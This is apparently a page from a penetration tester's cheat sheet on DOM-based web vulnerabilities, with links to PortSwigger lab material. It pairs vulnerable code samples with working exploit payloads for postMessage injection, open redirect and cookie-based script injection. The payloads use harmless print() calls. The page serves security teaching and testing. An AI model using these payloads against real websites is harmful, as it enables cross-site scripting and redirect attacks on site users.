> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/web/dom-based.md).

# DOM-based

* [PortSwigger - Web Security Academy - DOM-based](https://portswigger.net/web-security/dom-based)

## Taint-flow

Sources Sinks

### Web messages

* [PortSwigger - Web Security Academy - Controlling the web message source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)

If a website handles web message in an unsafe way, e.g. by not verifying the origin, code in the event listener become potential sinks.

#### Example 1 (no validation)

Vulnerable code

```html
<script>
    window.addEventListener('message', function(e) {
        document.getElementById('name').innerHTML = e.data;
    })
</script>
```

Exploit

```html
<iframe src="https://vulnerable-site.com" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')">
```

#### Example 2 (broken URL validation)

Vulnerable code

```html
<script>
	window.addEventListener('message', function(e) {
	    var url = e.data;
	    if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
	        location.href = url;
	    }
	}, false);
</script>
```

Exploit

```html
<iframe src="https://vulnerable-site.com" onload="this.contentWindow.postMessage('javascript:print()//https:','*')">
```

## Open redirect

* [PortSwigger - Web Security Academy - DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection)

Vulnerable code

```html
<a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1]; else location.href = "/"'>Back</a>
```

Exploit

```http
https://vulnerable-website.com/?url=https://attacker-site.com
```

## Cookie manipulation

* [PortSwigger - Web Security Academy - DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)

Vulnerable code

```html
<a href='https://website.com/product?productId=2'>Last viewed product</a>

<script>
	document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
</script>
```

Exploit

```html
<iframe src="https://website.com/product?productId=2#'><script>print()</script>"></iframe>
```

## DOM clobbering

* [PortSwigger - Web Security Academy - DOM clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)

## Other DOM-based vulnerabilities

* [PortSwigger - Web Security Academy - DOM-based JavaScript injection](https://portswigger.net/web-security/dom-based/javascript-injection)
* [PortSwigger - Web Security Academy - DOM-based document-domain manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
* [PortSwigger - Web Security Academy - DOM-based WebSocket-URL poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
* [PortSwigger - Web Security Academy - DOM-based link manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
* [PortSwigger - Web Security Academy - Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
* [PortSwigger - Web Security Academy - DOM-based Ajax request-header manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
* [PortSwigger - Web Security Academy - DOM-based local file-path manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
* [PortSwigger - Web Security Academy - DOM-based client-side SQL injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
* [PortSwigger - Web Security Academy - DOM-based HTML5-storage manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
* [PortSwigger - Web Security Academy - DOM-based client-side XPath injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
* [PortSwigger - Web Security Academy - DOM-based client-side JSON injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
* [PortSwigger - Web Security Academy - DOM-data manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
* [PortSwigger - Web Security Academy - DOM-based denial of service](https://portswigger.net/web-security/dom-based/denial-of-service)